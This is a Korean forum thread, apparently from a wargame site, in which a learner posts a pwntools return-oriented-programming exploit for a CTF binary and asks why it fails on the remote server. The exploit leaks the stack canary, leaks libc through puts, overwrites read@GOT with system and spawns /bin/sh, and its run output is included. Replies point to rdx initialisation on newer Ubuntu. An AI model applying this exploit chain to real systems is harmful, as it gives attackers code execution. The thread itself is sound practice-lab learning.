from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
#context.log_level ='DEBUG'
#p = process("./rop")
p = remote("host3.dreamhack.games",16271)
e = ELF("./rop")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
r = ROP(e)
[1] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)
[2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
payload = b'A'*56 + p64(canary) + b'B'*8
slog("pop_rdi", pop_rdi)
slog("pop_rsi_r15", pop_rsi_r15)
slog("read_plt", read_plt)
slog("read_got", read_got)
slog("puts_plt", puts_plt)
puts(read@got)
payload += p64(pop_rdi) + p64(read_got) # puts(read@got)
payload += p64(puts_plt) # puts(read@got) 호출
read(0, read@got, 0) => read@got -> system
payload += p64(pop_rdi) + p64(0) # read(0, , )
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # read(0, read@got, 0)
payload += p64(read_plt) # read(0, read@got, 0) 호출
read("/bin/sh") => system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8) # read 함수의 첫번째 인자 값 ("/bin/sh")
payload += p64(read_plt) # read("/bin/sh") 호출
p.sendafter("Buf: ", payload) # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6)+b'\x00'*2) # 화면에 출력된 read() 주소를 read에 대입
lb = read - libc.symbols["read"] # libc base = read 주소 - read symbols
system = lb + libc.symbols["system"] # system = libc base + system symbols
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")
p.interactive()
local에서는 잘 동작했습니다.
서버에서는 library버전을
p = remote("host3.dreamhack.games",16271)
e = ELF("./rop")
libc = ELF("./libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
r = ROP(e)
올려주신 집파일에 있던 ./libc.so.6 과 /lib/x86_64-linux-gnu/libc-2.27.so를 모두 사용해봤는데 EOF에러가 나네요.. 이유를 도저히 모르겠습니다. ㅠ
[] '/home/coco/work/aslr_nx/rop_practice/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[] '/home/coco/work/aslr_nx/rop_practice/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[] Loaded 14 cached gadgets for './rop'
[+] Canary: 0xe53bfac3cac88600
[+] pop_rdi: 0x400853
[+] pop_rsi_r15: 0x400851
[+] read_plt: 0x4005f0
[+] read_got: 0x601038
[+] puts_plt: 0x4005b0
[+] read: 0x7fefbaa11980
[+] libc_base: 0x7fefba8fd000
[+] system: 0x7fefba94dd60
[] Switching to interactive mode
[] Got EOF while reading in interactive
$ ls
$ ls
[] Closed connection to host3.dreamhack.games port 16271
[*] Got EOF while sending in interactive
payload += p64(pop_rdi)
payload += p64(read_got+0x8) # read 함수의 첫번째 인자 값 ("/bin/sh")
payload += p64(ret)
payload += p64(read_plt)
ret을 추가 해도 동일합니다.. 로컬에서는 돌아가는데요..
도와주세요.. ㅠㅠ
===========
libc_base: 0x7fefba8fd000
libc 베이스 주소가 000으로 나오는 걸 보면 집파일의 libc.so.6 을 사용하는건 맞는 거 같은데 혹시 rdx값이 0이 되어서 그런가요?
스택 어라인 문제도 아닌것 같은데요...
질문을 정리하면
- 서버의 libc 버전은 어떻게 구할 수 있나요 --> libc 버전 문제라면 어떻게 해결할 수 있나요.. 올라온 libc사이트는 더이상 연결 안되던데요..
- 서버 버전이 22.x라면 rdx가 0 이 되어 문제가 일어난 것인지요 --> Return-to-csu 기법으로 해결해야 하나요.
- 서버 바이너리를 로컬 gdb에 붙일 수는 없지요?
혹시 puts로 leak 하셨나요?
최근 서버의 우분투 버전이 올라가며 말씀하신 것처럼 rdx가 0인가 1로 초기화되기에 다른 방법으로 릭을 해야합니다.
강의를 참고하시면 좋을 것 같아요
puts대신 writes를 사용하니 리모트도 되네요.. 그런데 서버에서 ldd 로 바이너리의 libc버전 확인은 안되네요;; 어떻게 확인 하셨는지요?;;;
음? 로컬에서 제공된 libc 파일 붙여서 실행해서 직접 확인했습니다 ㅎㅎ